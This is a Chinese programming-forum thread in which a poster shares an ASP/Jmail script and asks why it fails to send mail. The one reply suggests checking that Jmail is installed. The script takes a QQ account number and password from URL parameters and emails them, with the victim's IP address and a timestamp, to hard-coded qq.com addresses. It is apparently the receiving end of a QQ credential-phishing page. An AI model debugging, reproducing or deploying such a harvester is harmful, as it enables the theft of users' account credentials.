回 帖 发 新 帖 刷新版面

主题:求助Jmail发信问题

高手帮忙看看这代码哪里有问题 为什么就不发信
http://***.COM/Forum.asp?qqnumber=1231&xin=1&pass=123123

<%
TToAddress=request("Xin")
QQNumber=request("QQNumber")
QQPassWord=request("Pass")

if QQNumber="" or QQPassWord="" then
  response.write "Test"
  response.end
End If

function InjectProcess(strInject)
  strInject = Replace(strInject, " ", vbNullString)
  strInject = Replace(strInject, "<", vbNullString)
  strInject = Replace(strInject, ">", vbNullString)
  strInject = Replace(strInject, """", vbNullString)
  strInject = Replace(strInject, "'", vbNullString)
  strInject = Replace(strInject, "%", vbNullString)
  strInject = Replace(strInject, ";", vbNullString)
  strInject = Replace(strInject, "(", vbNullString)
  strInject = Replace(strInject, ")", vbNullString)
  strInject = Replace(strInject, "&", vbNullString)
  strInject = Replace(strInject, "+", vbNullString)
  strInject = Replace(strInject, "-", vbNullString)
end function

CALL InjectProcess(TToAddress)
CALL InjectProcess(QQNumber)

Select Case TToAddress
Case 1
   StrToAddress = "4109119@qq.com"
Case 2
   StrToAddress = "4109119@qq.com"
Case else
   StrToAddress = "66736663@qq.com"
End Select

function SendMail(ToAddress,subject,msg)
Dim Jmail
sender="webmaster@lply.com"                                '发送邮箱
Set Jmail=server.createobject("Jmail.Message")
Jmail.Charset = "GB2312"                                   '发送编码
jmail.ContentType = "text/html" 
jmail.ISOEncodeHeaders ="False"
Jmail.Silent = true
Jmail.Priority = 3
Jmail.MailServerUserName = "webmaster@lply.com"            '邮箱用户名
Jmail.MailServerPassword = "************"                  '邮箱密码
Jmail.From = sender
Jmail.Subject = subject       
Jmail.AddRecipient  ToAddress                               '收信人地址       
Jmail.Body=msg
Jmail.Send("mail.lply.com")                                'SMTP服务器
response.write "Send a Letter OK!<br><br>"
end function

if QQNumber<>"" and QQPassWord<>"" then
strSubject=QQNumber&time
  StrMailBody="区+账号:"&QQNumber&"<br><br>密码:"&QQPassWord&""
  StrMailBody=StrMailBody&"发信时间:"&date&" "&time&"<br><br>"
  StrMailBody=StrMailBody&"发信人IP地址:"&request.servervariables("REMOTE_HOST")
  Call SendMail (strToAddress,strSubject,StrMailBody)
End If
%> 
就是不发信怎么回事

回复列表 (共1个回复)

沙发

Jmail 要有一个软件安装才可以的. 你检查一下有没有安装JMAIL软件.

我来回复

您尚未登录,请登录后再回复。点此登录或注册